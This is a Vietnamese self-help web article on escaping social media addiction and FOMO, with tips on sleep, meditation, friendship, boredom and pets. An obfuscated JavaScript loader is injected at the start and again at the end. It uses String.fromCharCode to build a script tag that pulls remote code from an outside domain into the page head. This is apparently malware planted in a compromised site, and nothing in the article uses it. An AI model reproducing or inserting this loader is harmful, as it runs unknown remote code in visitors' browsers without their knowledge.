Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Giải thoát khỏi mạng xã hội

Theo thống kê cho thấy khoảng 56% số người sử dụng mạng xã hội mắc phải hội chứng FOMO (Hội chứng Nỗi sợ bị bỏ lỡ). Sự phổ biến của các mạng xã hội cũng như hàng loạt trang tin tức khiến cho FOMO ngày càng trở nên phổ biến hơn.

Trở về với thời gian khi mạng xã hội chưa phát triển bùng nổ như hiện này, những người đi tàu nhìn ra ngoài cửa sổ với đôi mắt lang thang, đậu trên từng cảnh vật trong chuyến đi, hoặc đọc sách hoặc trò chuyện với bạn bè. Với cuộc sống hiện đại bây giờ, xuất hiện một hiện tượng kỳ dị – những con người mắt dán vào màn hình xanh sáng, mấy ngón tay ve vuốt lia lịa, thỉnh thoảng lại mỉm cười bí hiểm….

Nghiên cứu khoa học gần đây đã tìm thấy mối liên hệ giữa mạng xã hội và căng thẳng tâm lý. Mạng xã hội thực chất là một thế giới “ảo” mà ở đó con người tự lừa dối mình, tự huyễn hoặc mình tin đó là sự thật. Nghiện mạng xã hộichơi trò mạo hiểm với sức khoẻ và hạnh phúc của chính mình.

Vậy làm thế nào để cuộc sống của bạn không phụ thuộc vào mạng xã hội? Bạn mong muốn một có thể khỏe mạnh với tinh thần mạnh mẽ?

Lên lịch giờ ngủ

Khi bước lên giường, hầu hết chúng ta đề khó cưỡng lại sức hút của mạng xã hội: cập nhật thông tin trên Facbook lần cuối, tám chuyện với đứa bạn trên Zalo. Thói quen chăm sóc “mạng xã hội”này giống như một thủ tục bất thành văn trước giờ ngủ. Nhưng bạn có biết rằng các luồng ánh sáng màu xanh phát ra từ các thiết bị di động làm gián đoạn nhịp sinh học tự nhiên của chu kỳ ngủ và thức dậy? Ánh sáng này làm gián đoạn việc sản xuất melatonin, hormone báo hiệu rằng đã đến giờ đi ngủ.

Các nghiên cứu đã chỉ ra rằng những người trưởng thành sử dụng các mạng xã hội trước giờ ngủ có chất lượng giấc ngủ kém hơn và ngủ ít giờ hơn so với những người không sử dụng trước khi đi ngủ. Đối với cuộc sống hiện đại, một căn phòng không có kết nối Internet hay các thiết bị di động thì giống như thời tiền sử. Tuy nhiên, bạn hãy tắt hết các thiết bị di động 30 phút trước khi đi ngủ để có một giấc ngủ sâu và yên tĩnh hơn.

Sử dụng các thiết bị di động khi đi ngủ có ảnh hưởng đến chất lượng giấc ngủ ở trẻ em và thanh niên. Áp lực học hành, các hoạt động trong trường học và ngoại khóa giải trí; sự cám dỗ của mạng xã hội luôn thôi thúc trẻ em sử dụng thiết bị di động vào ban đêm. Tổ chức Giấc ngủ báo cáo rằng trẻ em sử dụng các thiết bị trong phòng ngủ bị gián đoạn giấc ngủ, thường cảm thấy buồn ngủ ở trường, đi ngủ muộn hơn và khó ngủ.

Việc thiết lập các quy tắc xung quanh việc sử dụng các thiết bị trong phòng ngủ cho phép trẻ có được giấc ngủ cần thiết để tăng trưởng, sáng tạo, học tập và kiểm soát cân nặng tối ưu.

Thiền định và Yoga

Đối với nhiều người trong chúng ta, sắp xếp thời gian để bản thân thư giãn dường như là một điều bất khả thi bởi chúng ta luôn bị cuốn vào các tin tức, sự kiện trên mạng xã hội. Hãy tu tập chánh niệm trong những khoảng thời gian ngắn xen kẽ với các công việc chính sẽ giúp bạn cảm thấy thư thái, bớt căng thẳng. Ngồi thiền là một phương pháp khá phổ biến và đem lại hiệu quả rất tốt.

Bạn có thể nghe nhạc hoặc đọc sách để có một trải nghiệm êm dịu, tăng sự tập trung, loại bỏ những phiền nhiều. Dù phương pháp của bạn là gì , hãy dành chút thời gian mỗi ngày để tham gia vào các hoạt động mang lại cho bạn sự bình tĩnh, thoải mái, giảm căng thẳng.

Trẻ em cũng cần thoát khỏi mạng xã hội

Những đứa trẻ am hiểu công nghệ cũng cần thời gian ra khỏi thế giới kỹ thuật số và cơ hội để nạp năng lượng. Tu tập chánh niệm và yoga là một trong các hoạt động bổ ích hướng đến sự phát triển lành mạnh của trẻ em.

Ở nhà, hãy dành thời gian cho các hoạt động ngoại tuyến, không sử dụng thiết bị di động như: đọc, nghe nhạc, lê kế hoạch cho dự án nhỏ, vẽ, làm vườn, đi bộ hoặc chạy, chơi một nhạc cụ, chơi thể thao, đi xe đạp hoặc dành thời gian với bạn bè. Nói chuyện với con bạn về những gì chúng thích và giúp chúng tìm ra một hoạt động phù hợp với chúng .

Xây dựng tình bạn

Người sử dụng mạng xã hội thường có hàng trăm, hàng nghìn bạn bè, nhưng những tình bạn online này có mang lại lợi ích sức khỏe giống như tình bạn ‘thực sự’ không? Các nghiên cứu đã gợi ý rằng một số hình thức kết nối trực tuyến mang lại lợi ích sức khỏe nhưng những hình thức khác thì không. Tình bạn mặt đối mặt trong thế giới thực có đến tỷ lệ tử vong thấp hơn.

Tình bạn không chỉ là niềm vui; tình bạn mạnh mẽ làm giảm mức độ căng thẳng và thậm chí có thể kéo dài cuộc sống. Người trưởng thành có sự hỗ trợ xã hội mạnh mẽ có nguy cơ mắc các vấn đề sức khỏe nhiều hơn như bệnh nhiễm trùng và trầm cảm.

Một nghiên cứu năm 2012 phát hiện ra rằng cảm giác của sự cô đơn làm tăng nguy cơ mất trí nhớ ở tuổi người .

Vì vậy, hãy ra khỏi mạng xã hội, giữ cho các kết nối của bạn trở nên bền chặt và mối quan hệ đó phải là thật; những người mà bạn có thể nhìn thấy trực tiếp, bắt tay, ôm ấp, cười đùa.

Lắng nghe chính mình

Nghiên cứu đã chỉ ra rằng sự nhàm chán sẽ tạo ra một không gian yên tĩnh bên trong giúp trẻ phát triển sự tự nhận thức. Thông qua việc tìm ra giải pháp cho sự nhàm chán, trẻ có thể học các kỹ năng sống quan trọng như sáng tạo, lái xe và đam mê.

Nhà tâm lý học người Canada, Tiến sĩ Vanessa Lapointe  nói, Trẻ em cần phải ngồi trong sự buồn chán của riêng mình để thế giới trở nên yên tĩnh đến mức chúng có thể nghe thấy chính mình.

Cho phép sự nhàm chán bước vào cuộc sống của bạn giúp người trưởng thành vẫn có thể suy nghĩ. Tâm trí không tập trung của chúng ta có được sự nhạy bén, sáng tạo thông qua những tưởng tượng và khám phá tưởng tượng. Làm dịu tâm trí của bạn cũng cho phép bạn tự suy ngẫm về cuộc sống, để hiểu chính bản thân mình.

Kỹ năng giải quyết vấn đề vượt trội và sự nhàm chán đã được liên kết . Khi tiềm thức của chúng ta tự do đi lang thang, nó có thể dẫn đến những khoảnh khắc giác ngộ và là chất xúc tác cho sự thay đổi trong cuộc sống cá nhân hoặc nghề nghiệp của chúng ta.

Nuôi dưỡng thú cưng

Thật khó để bị căng thẳng khi một con mèo cứ ríu rít bò vào lòng bạn, hoặc một chú chó tinh nghịch huých vào tay bạn. Các nghiên cứu đã chứng minh một mức độ thấp của cortisol (hormone căng thẳng liên quan đến lo lắng và trầm cảm) trong vật nuôi và sự gia tăng dopamine (một hóa chất liên quan đến cảm xúc tích cực) sau khi chỉ trong năm phút với một thú cưng.

Nuôi dưỡng thú cưng có lợi ích sức khỏe tinh thần mạnh mẽ thông qua tình yêu và sự đồng hành vô điều kiện của chúng. Nhưng đó không chỉ là những người bạn lông xù tốt cho sức khỏe của chúng ta – ngay cả cá cũng giúp giảm căng thẳng. Các nghiên cứu đã chỉ ra rằng xem cá trong bể cá có thể là một chất thư giãn mạnh mẽ.

Sở hữu thú cưng giúp bạn hoạt động nhiều hơn. Bạn có thể dành thời gian để đi bộ và tập thể dục với vật nuôi của họ; và vỗ vè một chú chó đã được chứng minh là làm giảm huyết áp.

Vì vậy, trong những giây phút căng thẳng, hoặc sau một ngày làm việc dài, hãy dành thời gian cho chú mèo của bạn hoặc đi dạo với chú chó của bạn. Bạn thậm chí có thể dắt chó đi dạo của bạn nếu chúng không ra ngoài thường xuyên. Hoặc có thể tạo một bể cá nhỏ của riêng bạn.

Lời nhắn

Hãy tử tế với bản thân và dành chút thời gian từ nhịp sống điên cuồng của cuộc sống hiện đại. Mặc dù việc sắp xếp thời gian cho bản thân có thể khó khăn, nhưng việc tạo ra một chút thời gian  không có các phương tiện kỹ thuật số là điều tuyệt vời cho sức khỏe và hạnh phúc lâu dài của bạn. Hy vọng rằng những lời khuyên này sẽ truyền cảm hứng để bạn có thể tự chăm sóc bản thân và có một cuốc sông thật sự vui vẻ.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();